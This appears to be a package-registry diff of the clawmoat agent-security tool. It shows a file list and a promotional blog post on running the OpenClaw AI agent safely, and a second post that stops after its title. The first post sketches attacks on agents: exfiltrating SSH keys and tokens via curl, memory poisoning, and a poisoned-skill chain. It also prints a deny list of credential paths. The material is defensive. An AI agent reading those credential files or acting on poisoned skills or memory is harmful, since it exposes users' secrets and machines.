clawmoat 0.7.0 → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (178) hide show
  1. package/.dockerignore +9 -0
  2. package/CHANGELOG.md +18 -0
  3. package/CONTRIBUTING.md +4 -2
  4. package/DEMO.md +87 -0
  5. package/Dockerfile +5 -18
  6. package/README.md +294 -8
  7. package/SECURITY.md +58 -10
  8. package/THREAT_MODEL.md +129 -0
  9. package/agent/README.md +131 -0
  10. package/agent/index.js +471 -0
  11. package/agent/install-service.sh +94 -0
  12. package/agent/openclaw-hook.js +453 -0
  13. package/agent/provider-setup.js +649 -0
  14. package/agent/setup.js +274 -0
  15. package/assets/BADGE-USAGE.md +20 -0
  16. package/assets/clawmoat-badge.svg +21 -0
  17. package/bin/clawmoat.js +468 -111
  18. package/docs/affiliates/dashboard.html +124 -0
  19. package/docs/affiliates/index.html +236 -0
  20. package/docs/agent-install.html +183 -0
  21. package/docs/ai-agent-security-scanner.html +10 -6
  22. package/docs/badge/index.html +149 -0
  23. package/docs/badge/scanning.svg +23 -0
  24. package/docs/blog/386-malicious-skills.html +262 -0
  25. package/docs/blog/40000-exposed-openclaw-instances.html +201 -0
  26. package/docs/blog/agent-trust-protocol.html +198 -0
  27. package/docs/blog/ai-agent-earns-commissions.html +230 -0
  28. package/docs/blog/bugmageddon-agent-firewall.html +174 -0
  29. package/docs/blog/calculator-math.html +180 -0
  30. package/docs/blog/clawmoat-vs-llamafirewall-nemo-guardrails.html +229 -0
  31. package/docs/blog/host-guardian-launch.html +18 -8
  32. package/docs/blog/ibm-experts-agent-runtime-protection.html +247 -0
  33. package/docs/blog/index.html +211 -9
  34. package/docs/blog/langchain-security-tutorial.html +18 -8
  35. package/docs/blog/mcp-30-cves-security-crisis.html +286 -0
  36. package/docs/blog/meta-researcher-rogue-agent.html +201 -0
  37. package/docs/blog/microsoft-openclaw-workstation-security.html +235 -0
  38. package/docs/blog/nist-ai-agent-standards-clawmoat.html +377 -0
  39. package/docs/blog/oasis-websocket-hijack.html +212 -0
  40. package/docs/blog/ollama-openclaw-security.html +160 -0
  41. package/docs/blog/openclaw-enterprise-readiness-claw10.html +199 -0
  42. package/docs/blog/openclaw-security-reckoning-2026.html +368 -0
  43. package/docs/blog/owasp-agentic-ai-top10.html +18 -8
  44. package/docs/blog/securing-ai-agents.html +18 -8
  45. package/docs/blog/supply-chain-agents.html +18 -8
  46. package/docs/business/index.html +525 -0
  47. package/docs/business/install.html +261 -0
  48. package/docs/checklist.html +174 -0
  49. package/docs/compare/index.html +122 -0
  50. package/docs/compare/lakera/index.html +62 -0
  51. package/docs/compare/llm-guard/index.html +49 -0
  52. package/docs/compare/snyk-agent-scan/index.html +63 -0
  53. package/docs/compare.html +10 -6
  54. package/docs/dashboard/index.html +520 -0
  55. package/docs/finance/index.html +220 -0
  56. package/docs/guides/business-deployment.html +770 -0
  57. package/docs/hall-of-fame.html +174 -0
  58. package/docs/index.html +447 -154
  59. package/docs/install.sh +557 -0
  60. package/docs/integrations/langchain.html +14 -6
  61. package/docs/integrations/openai.html +14 -6
  62. package/docs/integrations/openclaw.html +55 -7
  63. package/docs/plans/2026-03-26-threat-intel-api.md +255 -0
  64. package/docs/plans/2026-04-14-bugmageddon-marketing-pack.md +329 -0
  65. package/docs/plans/2026-04-14-clawmoat-v1-bugmageddon.md +248 -0
  66. package/docs/plans/2026-04-14-v1-release-update.md +91 -0
  67. package/docs/plans/2026-04-19-supabase-audit.md +68 -0
  68. package/docs/plans/2026-05-12-sales-push.md +303 -0
  69. package/docs/playground/index.html +893 -0
  70. package/docs/playground.html +4 -7
  71. package/docs/privacy-policy/index.html +122 -0
  72. package/docs/rfcs/defense-in-depth.md +467 -0
  73. package/docs/scan/index.html +358 -0
  74. package/docs/services/case-study.html +255 -0
  75. package/docs/services/downloads/install-openclaw.bat +45 -0
  76. package/docs/services/downloads/install-openclaw.command +38 -0
  77. package/docs/services/downloads/install-openclaw.sh +38 -0
  78. package/docs/services/get-started.html +165 -0
  79. package/docs/services/index.html +598 -0
  80. package/docs/services/multi-agent-security.html +284 -0
  81. package/docs/services/one-pager.html +99 -0
  82. package/docs/services/pitch-deck.html +229 -0
  83. package/docs/services/roi-calculator.html +258 -0
  84. package/docs/sitemap.xml +192 -2
  85. package/docs/support/index.html +135 -0
  86. package/docs/templates/customer-service/HEARTBEAT.md +61 -0
  87. package/docs/templates/customer-service/MEMORY.md +89 -0
  88. package/docs/templates/customer-service/SOUL.md +41 -0
  89. package/docs/templates/customer-service/USER.md +56 -0
  90. package/docs/templates/executive/HEARTBEAT.md +86 -0
  91. package/docs/templates/executive/MEMORY.md +92 -0
  92. package/docs/templates/executive/SOUL.md +44 -0
  93. package/docs/templates/executive/USER.md +62 -0
  94. package/docs/templates/finance/HEARTBEAT.md +58 -0
  95. package/docs/templates/finance/MEMORY.md +87 -0
  96. package/docs/templates/finance/SOUL.md +38 -0
  97. package/docs/templates/finance/USER.md +53 -0
  98. package/docs/templates/index.html +115 -0
  99. package/docs/templates/operations/HEARTBEAT.md +63 -0
  100. package/docs/templates/operations/MEMORY.md +68 -0
  101. package/docs/templates/operations/SOUL.md +38 -0
  102. package/docs/templates/operations/USER.md +49 -0
  103. package/docs/templates/sales/HEARTBEAT.md +55 -0
  104. package/docs/templates/sales/MEMORY.md +89 -0
  105. package/docs/templates/sales/SOUL.md +34 -0
  106. package/docs/templates/sales/USER.md +54 -0
  107. package/docs/terms-of-service/index.html +122 -0
  108. package/eslint.config.js +32 -0
  109. package/evals/README.md +29 -0
  110. package/evals/cases.json +390 -0
  111. package/evals/results.md +68 -0
  112. package/evals/run.js +180 -0
  113. package/examples/basic-usage.js +38 -0
  114. package/examples/demo-attack/demo.js +186 -0
  115. package/examples/python-quickstart/README.md +54 -0
  116. package/examples/python-quickstart/clawmoat_client.py +167 -0
  117. package/examples/video-demo/README.md +14 -0
  118. package/examples/video-demo/scene-a-normal.js +29 -0
  119. package/examples/video-demo/scene-b-attack-arrives.js +31 -0
  120. package/examples/video-demo/scene-c-hijack.js +44 -0
  121. package/examples/video-demo/scene-d-clawmoat.js +46 -0
  122. package/integrations/crewai/README.md +32 -0
  123. package/integrations/crewai/clawmoat_crewai/__init__.py +17 -0
  124. package/integrations/crewai/clawmoat_crewai/guard.py +103 -0
  125. package/integrations/crewai/pyproject.toml +21 -0
  126. package/integrations/langchain/README.md +91 -0
  127. package/integrations/langchain/clawmoat_langchain/__init__.py +17 -0
  128. package/integrations/langchain/clawmoat_langchain/callback.py +489 -0
  129. package/integrations/langchain/pyproject.toml +32 -0
  130. package/integrations/litellm/README.md +324 -0
  131. package/integrations/litellm/clawmoat_litellm/__init__.py +21 -0
  132. package/integrations/litellm/clawmoat_litellm/callback.py +329 -0
  133. package/integrations/litellm/clawmoat_litellm/proxy_middleware.py +224 -0
  134. package/integrations/litellm/pyproject.toml +74 -0
  135. package/integrations/openai-agents/README.md +392 -0
  136. package/integrations/openai-agents/clawmoat_openai_agents/__init__.py +20 -0
  137. package/integrations/openai-agents/clawmoat_openai_agents/guardrail.py +431 -0
  138. package/integrations/openai-agents/clawmoat_openai_agents/middleware.py +311 -0
  139. package/integrations/openai-agents/pyproject.toml +76 -0
  140. package/package.json +6 -5
  141. package/plugins/openclaw-adapter/PHASE1.md +439 -0
  142. package/plugins/openclaw-adapter/README.md +103 -0
  143. package/plugins/openclaw-adapter/SPEC.md +1644 -0
  144. package/plugins/openclaw-adapter/package.json +31 -0
  145. package/plugins/openclaw-adapter/src/index.test.ts +226 -0
  146. package/plugins/openclaw-adapter/src/index.ts +140 -0
  147. package/plugins/openclaw-adapter/tsconfig.json +14 -0
  148. package/server/data/threats.json +290 -0
  149. package/server/index.js +224 -10
  150. package/src/adapters/express.js +161 -0
  151. package/src/adapters/index.js +92 -0
  152. package/src/adapters/langchain.js +185 -0
  153. package/src/approval/index.js +456 -0
  154. package/src/ban-scanner.js +200 -0
  155. package/src/boundary-scanner.js +296 -0
  156. package/src/ci-scanner.js +279 -0
  157. package/src/code-scanner.js +245 -0
  158. package/src/enforce.js +166 -0
  159. package/src/finance/index.js +585 -0
  160. package/src/finance/mcp-firewall.js +486 -0
  161. package/src/formatters/json.js +80 -0
  162. package/src/formatters/sarif.js +388 -0
  163. package/src/guardian/alerts.js +34 -3
  164. package/src/guardian/gateway-monitor.js +590 -0
  165. package/src/guardian/index.js +41 -2
  166. package/src/index.js +105 -0
  167. package/src/integrations/agentmesh.js +501 -0
  168. package/src/language-detector.js +201 -0
  169. package/src/mcp-scanner.js +253 -0
  170. package/src/multimodal/index.js +579 -0
  171. package/src/obfuscation-scanner.js +457 -0
  172. package/src/policy-engine.js +402 -0
  173. package/src/scanners/dependency-attacks.js +128 -0
  174. package/src/scanners/prompt-injection.js +18 -0
  175. package/src/scanners/supply-chain.js +14 -0
  176. package/src/templates/default-config.yml +90 -0
  177. package/src/vuln-ops/exploitability.js +46 -0
  178. package/src/watch/live-monitor.js +720 -0
package/docs/blog/microsoft-openclaw-workstation-security.html ADDED
@@ -0,0 +1,235 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
+ <title>Microsoft Says Don't Run OpenClaw on Your Workstation. Here's How to Do It Safely. | ClawMoat Blog</title>
7
+ <meta name="description" content="Microsoft's security team says OpenClaw is 'untrusted code execution with persistent credentials.' They're right — and here's how to run it safely with host-level security.">
8
+ <meta name="keywords" content="OpenClaw security, Microsoft OpenClaw warning, OpenClaw workstation security, AI agent security, ClawMoat host guardian, OpenClaw enterprise">
9
+ <link rel="canonical" href="https://clawmoat.com/blog/microsoft-openclaw-workstation-security.html">
10
+ <meta property="og:title" content="Microsoft Says Don't Run OpenClaw on Your Workstation. Here's How to Do It Safely.">
11
+ <meta property="og:description" content="Microsoft's security blog says OpenClaw is 'untrusted code execution.' They recommend VMs. We built a better answer: host-level security that makes your workstation safe.">
12
+ <meta property="og:url" content="https://clawmoat.com/blog/microsoft-openclaw-workstation-security.html">
13
+ <meta property="og:type" content="article">
14
+ <link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>🏰</text></svg>">
15
+ <style>
16
+ *{margin:0;padding:0;box-sizing:border-box}
17
+ :root{--navy:#0F172A;--navy-light:#1E293B;--navy-mid:#334155;--blue:#3B82F6;--emerald:#10B981;--white:#F8FAFC;--gray:#94A3B8;--red:#EF4444}
18
+ body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:var(--navy);color:var(--white);line-height:1.8}
19
+ a{color:var(--blue)}
20
+ .container{max-width:740px;margin:0 auto;padding:0 24px}
21
+ nav{background:rgba(15,23,42,.95);backdrop-filter:blur(12px);border-bottom:1px solid rgba(59,130,246,.15);padding:16px 0;position:fixed;top:0;left:0;right:0;z-index:100}
22
+ nav .container{display:flex;align-items:center;justify-content:space-between}
23
+ .logo{font-size:1.1rem;font-weight:700;color:var(--white);text-decoration:none}
24
+ .logo span{color:var(--emerald)}
25
+ nav a{color:var(--gray);font-size:.85rem;text-decoration:none}
26
+ nav a:hover{color:var(--white)}
27
+ article{padding:120px 0 80px}
28
+ .meta{color:var(--gray);font-size:.85rem;margin-bottom:32px}
29
+ h1{font-size:clamp(1.8rem,4vw,2.6rem);font-weight:800;line-height:1.2;margin-bottom:16px;letter-spacing:-.02em}
30
+ h2{font-size:1.4rem;font-weight:700;margin:48px 0 16px;letter-spacing:-.01em}
31
+ h3{font-size:1.1rem;font-weight:600;margin:32px 0 12px}
32
+ p{color:var(--gray);margin-bottom:20px;font-size:1rem}
33
+ blockquote{border-left:3px solid var(--blue);padding:16px 24px;margin:24px 0;background:var(--navy-light);border-radius:0 8px 8px 0}
34
+ blockquote p{color:var(--white);margin:0;font-style:italic}
35
+ blockquote cite{display:block;color:var(--gray);font-size:.85rem;margin-top:8px;font-style:normal}
36
+ code{background:var(--navy-light);padding:2px 6px;border-radius:4px;font-size:.9rem;color:var(--emerald)}
37
+ pre{background:#0a0e17;border:1px solid var(--navy-mid);border-radius:8px;padding:20px;overflow-x:auto;margin:24px 0;font-size:.85rem;line-height:1.6}
38
+ pre code{background:none;padding:0}
39
+ ul,ol{color:var(--gray);margin:0 0 20px 24px}
40
+ li{margin-bottom:8px}
41
+ .cta{background:linear-gradient(135deg,rgba(16,185,129,.1),rgba(59,130,246,.1));border:1px solid rgba(16,185,129,.2);border-radius:12px;padding:32px;text-align:center;margin:48px 0}
42
+ .cta h3{margin:0 0 12px;color:var(--white)}
43
+ .cta p{margin:0 0 20px}
44
+ .cta a{display:inline-block;background:var(--emerald);color:#fff;padding:12px 28px;border-radius:8px;font-weight:600;text-decoration:none}
45
+ .cta a:hover{opacity:.9}
46
+ .highlight-box{background:var(--navy-light);border:1px solid rgba(239,68,68,.2);border-radius:8px;padding:20px;margin:24px 0}
47
+ .highlight-box h4{color:var(--red);font-size:.9rem;margin-bottom:8px}
48
+ .highlight-box p{margin:0;font-size:.9rem}
49
+ </style>
50
+ </head>
51
+ <body>
52
+ <nav>
53
+ <div class="container">
54
+ <a href="/" class="logo">🏰 Claw<span>Moat</span></a>
55
+ <button class="menu-toggle" onclick="document.querySelector('.nav-links').classList.toggle('open')" aria-label="Menu">☰</button>
56
+ <div class="nav-links">
57
+ <a href="/">Security</a>
58
+ <a href="/services/">AI Agents</a>
59
+ <a href="/blog/">Blog</a>
60
+ <a href="https://github.com/darfaz/clawmoat">GitHub ↗</a>
61
+ </div>
62
+ </div>
63
+ </nav>
64
+
65
+ <article>
66
+ <div class="container">
67
+ <div class="meta">February 26, 2026 · 8 min read · By the ClawMoat Team</div>
68
+ <h1>Microsoft Says Don't Run OpenClaw on Your Workstation. Here's How to Do It Safely.</h1>
69
+
70
+ <p style="font-size:1.15rem;color:var(--white);line-height:1.7">On February 19, Microsoft's security team published a blog post that should make every OpenClaw user pause: <a href="https://www.microsoft.com/en-us/security/blog/2026/02/19/running-openclaw-safely-identity-isolation-runtime-risk/">"Running OpenClaw safely: identity, isolation, and runtime risk."</a> Their recommendation? <strong>Don't run it on your workstation at all.</strong></p>
71
+
72
+ <blockquote>
73
+ <p>"OpenClaw should be treated as untrusted code execution with persistent credentials. It is not appropriate to run on a standard personal or enterprise workstation."</p>
74
+ <cite>— Microsoft Security Blog, February 19, 2026</cite>
75
+ </blockquote>
76
+
77
+ <p>They're not wrong. But their solution — spinning up dedicated VMs for every agent — isn't practical for most teams. We built a better answer.</p>
78
+
79
+ <h2>What Microsoft Found</h2>
80
+
81
+ <p>Microsoft identified three risks that materialize "quickly" in unguarded OpenClaw deployments:</p>
82
+
83
+ <ol>
84
+ <li><strong>Credential exposure.</strong> Your agent can read SSH keys, AWS tokens, browser cookies, and API secrets — and exfiltrate them through a single curl command.</li>
85
+ <li><strong>Memory poisoning.</strong> An attacker can modify your agent's persistent state, causing it to follow malicious instructions across sessions — a slow, invisible hijack.</li>
86
+ <li><strong>Host compromise.</strong> The agent can be induced to download and execute malicious code, turning your workstation into an attacker's foothold.</li>
87
+ </ol>
88
+
89
+ <p>They also mapped a "poisoned skill" attack chain: a malicious skill published to ClawHub gets installed, runs with your credentials, and establishes persistent control.</p>
90
+
91
+ <div class="highlight-box">
92
+ <h4>⚠️ The Numbers Are Stark</h4>
93
+ <p>135K+ exposed OpenClaw instances (SecurityScorecard). 341+ malicious skills found on ClawHub (Snyk — 13.4% of skills have critical issues). CVE-2026-25253 scored 8.8. Runlayer's security team compromised an OpenClaw agent in 40 messages, one hour.</p>
94
+ </div>
95
+
96
+ <h2>Microsoft's Recommendation: Isolate Everything</h2>
97
+
98
+ <p>Microsoft recommends deploying OpenClaw <em>only</em> in:</p>
99
+ <ul>
100
+ <li>A dedicated virtual machine or separate physical system</li>
101
+ <li>With dedicated, non-privileged credentials</li>
102
+ <li>With access only to non-sensitive data</li>
103
+ <li>With continuous monitoring and a rebuild plan</li>
104
+ </ul>
105
+
106
+ <p>This is sound security advice. It's also wildly impractical.</p>
107
+
108
+ <p>Most people running OpenClaw are developers on their laptops. Small businesses running it on a Mac Mini. Solopreneurs with one machine. They're not going to spin up a VM, create a separate user account, configure credential isolation, set up monitoring, and maintain a rebuild plan. They're going to keep running it exactly as they are — with full access to everything on their machine.</p>
109
+
110
+ <h2>The Real Problem: There's Nothing Between the Agent and Your File System</h2>
111
+
112
+ <p>Here's what the current OpenClaw security model looks like:</p>
113
+
114
+ <pre><code>Your Agent → Your Machine (everything accessible)
115
+ </code></pre>
116
+
117
+ <p>There is no permission system. No access control layer. No audit trail. No forbidden zones. The agent has the same access as the user who installed it — which usually means <em>everything</em>.</p>
118
+
119
+ <p>This is the gap that other tools don't fill:</p>
120
+ <ul>
121
+ <li><strong>LlamaFirewall</strong> (Meta) — protects the model from prompt injection. Doesn't touch your file system.</li>
122
+ <li><strong>NeMo Guardrails</strong> (NVIDIA) — conversation-level guardrails. No host awareness.</li>
123
+ <li><strong>Runlayer</strong> — enterprise SaaS, MDM-based. Great for large orgs. Not open source, not for individuals or small teams.</li>
124
+ <li><strong>KiloClaw</strong> (Kilo.ai) — managed hosting. Solves the VM problem but requires moving to their cloud.</li>
125
+ </ul>
126
+
127
+ <p>None of them protect the host. None of them put a security layer <em>between the agent and your SSH keys</em>.</p>
128
+
129
+ <h2>What ClawMoat Does Differently</h2>
130
+
131
+ <p>ClawMoat is the only open-source tool designed specifically for host-level agent security. Instead of isolating the agent in a VM, we put guardrails directly on the machine:</p>
132
+
133
+ <pre><code>Your Agent → ClawMoat (validate every action) → Your Machine (restricted access)
134
+ </code></pre>
135
+
136
+ <h3>Four Permission Tiers</h3>
137
+ <p>Like Microsoft recommends "non-privileged credentials," ClawMoat enforces this through permission tiers — but without requiring a separate VM:</p>
138
+ <ul>
139
+ <li><strong>Observer</strong> — read-only access. Perfect for evaluation.</li>
140
+ <li><strong>Worker</strong> — safe commands (git, npm, basic file I/O). No destructive operations.</li>
141
+ <li><strong>Standard</strong> — most operations allowed. Forbidden zones enforced.</li>
142
+ <li><strong>Full</strong> — unrestricted. Forbidden zones still active. Full audit trail.</li>
143
+ </ul>
144
+
145
+ <h3>Forbidden Zones (Even at Full Tier)</h3>
146
+ <p>Microsoft says "access only non-sensitive data." We enforce this with forbidden zones that block access to sensitive directories regardless of tier:</p>
147
+ <pre><code>~/.ssh/ # SSH keys
148
+ ~/.aws/ # AWS credentials
149
+ ~/.gnupg/ # GPG keys
150
+ ~/.kube/ # Kubernetes configs
151
+ ~/Library/Cookies/ # Browser sessions
152
+ ~/.npmrc # Package tokens
153
+ # ... 20+ patterns total
154
+ </code></pre>
155
+
156
+ <h3>Continuous Monitoring (Built In)</h3>
157
+ <p>Microsoft recommends "continuous monitoring." ClawMoat provides:</p>
158
+ <ul>
159
+ <li>Full audit trail of every file access, shell command, and network request</li>
160
+ <li>Credential file monitoring (watches for unauthorized access attempts)</li>
161
+ <li>Network egress logging with domain allow/blocklists</li>
162
+ <li>Real-time alerts via webhook, Slack, email, or console</li>
163
+ <li>Skill integrity checking (hash verification + suspicious pattern detection)</li>
164
+ </ul>
165
+
166
+ <h3>One Command to Install</h3>
167
+ <pre><code>npm install -g clawmoat</code></pre>
168
+ <p>Zero dependencies. Sub-millisecond validation. MIT licensed. No VM required.</p>
169
+
170
+ <h2>How This Maps to Microsoft's Recommendations</h2>
171
+
172
+ <table style="width:100%;border-collapse:collapse;margin:24px 0;font-size:.9rem">
173
+ <tr style="border-bottom:1px solid var(--navy-mid)">
174
+ <th style="text-align:left;padding:12px;color:var(--gray)">Microsoft Recommends</th>
175
+ <th style="text-align:left;padding:12px;color:var(--gray)">ClawMoat Equivalent</th>
176
+ </tr>
177
+ <tr style="border-bottom:1px solid rgba(255,255,255,.05)">
178
+ <td style="padding:12px;color:var(--gray)">Dedicated VM or physical system</td>
179
+ <td style="padding:12px;color:var(--emerald)">Permission tiers + forbidden zones (no VM needed)</td>
180
+ </tr>
181
+ <tr style="border-bottom:1px solid rgba(255,255,255,.05)">
182
+ <td style="padding:12px;color:var(--gray)">Non-privileged credentials</td>
183
+ <td style="padding:12px;color:var(--emerald)">Worker tier blocks credential access by default</td>
184
+ </tr>
185
+ <tr style="border-bottom:1px solid rgba(255,255,255,.05)">
186
+ <td style="padding:12px;color:var(--gray)">Access only non-sensitive data</td>
187
+ <td style="padding:12px;color:var(--emerald)">20+ forbidden zone patterns auto-enforced</td>
188
+ </tr>
189
+ <tr style="border-bottom:1px solid rgba(255,255,255,.05)">
190
+ <td style="padding:12px;color:var(--gray)">Continuous monitoring</td>
191
+ <td style="padding:12px;color:var(--emerald)">Full audit trail + real-time alerts</td>
192
+ </tr>
193
+ <tr>
194
+ <td style="padding:12px;color:var(--gray)">Rebuild plan</td>
195
+ <td style="padding:12px;color:var(--emerald)">Incident forensics from audit logs in 30 seconds</td>
196
+ </tr>
197
+ </table>
198
+
199
+ <h2>The Growing Ecosystem</h2>
200
+
201
+ <p>We're not the only ones recognizing this gap. In the past week:</p>
202
+ <ul>
203
+ <li><strong>Runlayer</strong> launched "OpenClaw for Enterprise" with ToolGuard real-time blocking</li>
204
+ <li><strong>Crittora</strong> announced cryptographic policy enforcement for OpenClaw</li>
205
+ <li><strong>KiloClaw</strong> launched managed OpenClaw hosting on Fly.io</li>
206
+ <li><strong>Forbes</strong> called the OpenAI acquisition "a surprising win for small business ROI"</li>
207
+ <li>OpenClaw has <strong>161K+ GitHub stars</strong> and is now backed by the OpenClaw Foundation</li>
208
+ </ul>
209
+
210
+ <p>The market has spoken: AI agents are here to stay. The question isn't whether to use them — it's how to use them safely.</p>
211
+
212
+ <div class="cta">
213
+ <h3>Stop choosing between productivity and security.</h3>
214
+ <p>Install ClawMoat in 60 seconds. Keep running OpenClaw on your machine — safely.</p>
215
+ <a href="https://github.com/darfaz/clawmoat">⭐ Star on GitHub</a>
216
+ </div>
217
+
218
+ <h2>What's Next</h2>
219
+
220
+ <p>Microsoft's blog post is a wake-up call. But the answer isn't to stop using agents — it's to secure them properly. If you're running OpenClaw today:</p>
221
+
222
+ <ol>
223
+ <li><strong>Install ClawMoat</strong> — <code>npm install -g clawmoat</code></li>
224
+ <li><strong>Start at Worker tier</strong> — safe defaults, no credential access</li>
225
+ <li><strong>Check your audit logs</strong> — see exactly what your agent has been accessing</li>
226
+ <li><strong>Join the conversation</strong> — <a href="https://github.com/darfaz/clawmoat/issues">GitHub Issues</a> | <a href="https://discord.com/invite/clawd">Discord</a></li>
227
+ </ol>
228
+
229
+ <p>For businesses running agent fleets, see our <a href="/business/">enterprise security setup</a> — installed on your machines in under an hour.</p>
230
+
231
+ <p style="color:var(--gray);font-size:.85rem;margin-top:48px;padding-top:24px;border-top:1px solid rgba(255,255,255,.06)">ClawMoat is open source (MIT). 142 tests passing. Zero dependencies. <a href="https://github.com/darfaz/clawmoat">View on GitHub →</a></p>
232
+ </div>
233
+ </article>
234
+ </body>
235
+ </html>
package/docs/blog/nist-ai-agent-standards-clawmoat.html ADDED
@@ -0,0 +1,377 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <link rel="icon" type="image/png" href="/favicon.png">
5
+ <link rel="apple-touch-icon" href="/apple-touch-icon.png">
6
+ <meta charset="UTF-8">
7
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
8
+ <title>NIST Is Standardizing AI Agent Security — ClawMoat Already Ships It</title>
9
+ <meta name="description" content="NIST launched the AI Agent Standards Initiative on Feb 20, 2026. Every security concern they raised — least privilege, tool validation, prompt injection, supply chain — ClawMoat already ships as open-source middleware.">
10
+ <meta property="og:title" content="NIST Is Standardizing AI Agent Security — ClawMoat Already Ships It">
11
+ <meta property="og:description" content="Every NIST recommendation maps to a ClawMoat module you can npm install today.">
12
+ <meta property="og:type" content="article">
13
+ <meta property="og:url" content="https://clawmoat.com/blog/nist-ai-agent-standards-clawmoat.html">
14
+ <link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>🏰</text></svg>">
15
+ <style>
16
+ *{margin:0;padding:0;box-sizing:border-box}
17
+ :root{--navy:#0F172A;--navy-light:#1E293B;--navy-mid:#334155;--blue:#3B82F6;--emerald:#10B981;--white:#F8FAFC;--gray:#94A3B8;--red:#EF4444;--amber:#F59E0B}
18
+ body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:var(--navy);color:var(--white);line-height:1.7}
19
+ a{color:var(--blue);text-decoration:none}
20
+ a:hover{text-decoration:underline}
21
+ .container{max-width:760px;margin:0 auto;padding:0 24px}
22
+
23
+ nav{position:fixed;top:0;left:0;right:0;z-index:100;background:rgba(15,23,42,.95);backdrop-filter:blur(12px);border-bottom:1px solid rgba(59,130,246,.15);padding:16px 0}
24
+ nav .inner{max-width:760px;margin:0 auto;padding:0 24px;display:flex;align-items:center;justify-content:space-between}
25
+ .logo{font-size:1.25rem;font-weight:700;color:var(--white)}
26
+ .logo span{color:var(--emerald)}
27
+ .nav-links{display:flex;gap:24px}
28
+ .nav-links a{color:var(--gray);font-size:.9rem}
29
+ .nav-links a:hover{color:var(--white);text-decoration:none}
30
+
31
+ article{padding:120px 0 80px}
32
+ .meta{color:var(--gray);font-size:.9rem;margin-bottom:32px}
33
+ article h1{font-size:clamp(1.8rem,4vw,2.4rem);font-weight:800;line-height:1.2;margin-bottom:12px;letter-spacing:-.02em}
34
+ article h2{font-size:1.4rem;font-weight:700;margin:48px 0 16px;color:var(--white)}
35
+ article h3{font-size:1.15rem;font-weight:700;margin:32px 0 12px;color:var(--white)}
36
+ article p{color:var(--gray);font-size:1rem;margin-bottom:16px}
37
+ article strong{color:var(--white)}
38
+ article em{color:var(--gray)}
39
+ article ul,article ol{color:var(--gray);margin:0 0 16px 24px}
40
+ article li{margin-bottom:8px}
41
+ article hr{border:none;border-top:1px solid var(--navy-mid);margin:48px 0}
42
+
43
+ pre{background:#0a0e17;border:1px solid var(--navy-mid);border-radius:10px;padding:20px;overflow-x:auto;margin:16px 0 24px;font-size:.85rem;line-height:1.7}
44
+ code{font-family:'SF Mono',Consolas,monospace;font-size:.9em}
45
+ pre code{color:var(--gray)}
46
+ p code{background:var(--navy-light);padding:2px 6px;border-radius:4px;font-size:.85em;color:var(--emerald)}
47
+
48
+ .nist-box{background:var(--navy-light);border-left:3px solid var(--amber);border-radius:0 10px 10px 0;padding:16px 20px;margin:16px 0}
49
+ .nist-box .label{color:var(--amber);font-weight:700;font-size:.85rem;text-transform:uppercase;letter-spacing:.05em;margin-bottom:6px}
50
+ .nist-box p{margin-bottom:0;font-size:.95rem}
51
+
52
+ .ships-box{background:rgba(16,185,129,.06);border-left:3px solid var(--emerald);border-radius:0 10px 10px 0;padding:16px 20px;margin:16px 0}
53
+ .ships-box .label{color:var(--emerald);font-weight:700;font-size:.85rem;text-transform:uppercase;letter-spacing:.05em;margin-bottom:6px}
54
+ .ships-box p{margin-bottom:0;font-size:.95rem}
55
+
56
+ table{width:100%;border-collapse:collapse;margin:16px 0 24px;font-size:.9rem}
57
+ th{text-align:left;padding:10px 12px;border-bottom:2px solid var(--navy-mid);color:var(--white);font-weight:600}
58
+ td{padding:8px 12px;border-bottom:1px solid var(--navy-mid);color:var(--gray)}
59
+ tr:hover td{background:rgba(59,130,246,.04)}
60
+
61
+ .tags{display:flex;gap:8px;margin-top:32px;flex-wrap:wrap}
62
+ .tag{background:rgba(59,130,246,.12);color:var(--blue);padding:4px 12px;border-radius:20px;font-size:.8rem}
63
+
64
+ .back{display:inline-flex;align-items:center;gap:6px;color:var(--gray);font-size:.9rem;margin-bottom:24px}
65
+ .back:hover{color:var(--white);text-decoration:none}
66
+
67
+ .cta{background:linear-gradient(135deg,rgba(59,130,246,.15),rgba(16,185,129,.15));border:1px solid rgba(59,130,246,.3);border-radius:12px;padding:32px;margin:32px 0;text-align:center}
68
+ .cta h3{margin-top:0;font-size:1.3rem}
69
+ .cta p{font-size:.95rem}
70
+ .cta code{font-size:1rem}
71
+
72
+ .timeline{position:relative;padding-left:24px;margin:16px 0 24px}
73
+ .timeline::before{content:'';position:absolute;left:6px;top:4px;bottom:4px;width:2px;background:var(--navy-mid)}
74
+ .timeline .event{position:relative;margin-bottom:16px}
75
+ .timeline .event::before{content:'';position:absolute;left:-22px;top:6px;width:10px;height:10px;border-radius:50%;background:var(--amber)}
76
+ .timeline .event strong{color:var(--white)}
77
+
78
+ footer{border-top:1px solid rgba(255,255,255,.06);padding:32px 0;color:var(--gray);font-size:.85rem;text-align:center}
79
+ </style>
80
+ </head>
81
+ <body>
82
+
83
+ <nav>
84
+ <div class="container">
85
+ <a href="/" class="logo">🏰 Claw<span>Moat</span></a>
86
+ <button class="menu-toggle" onclick="document.querySelector('.nav-links').classList.toggle('open')" aria-label="Menu">☰</button>
87
+ <div class="nav-links">
88
+ <a href="/">Security</a>
89
+ <a href="/services/">AI Agents</a>
90
+ <a href="/blog/">Blog</a>
91
+ <a href="https://github.com/darfaz/clawmoat">GitHub ↗</a>
92
+ </div>
93
+ </div>
94
+ </nav>
95
+
96
+ <div class="container">
97
+ <article>
98
+ <a href="/blog/" class="back">← Back to Blog</a>
99
+ <h1>NIST Is Standardizing AI Agent Security — ClawMoat Already Ships It</h1>
100
+ <div class="meta">February 28, 2026 · 10 min read</div>
101
+
102
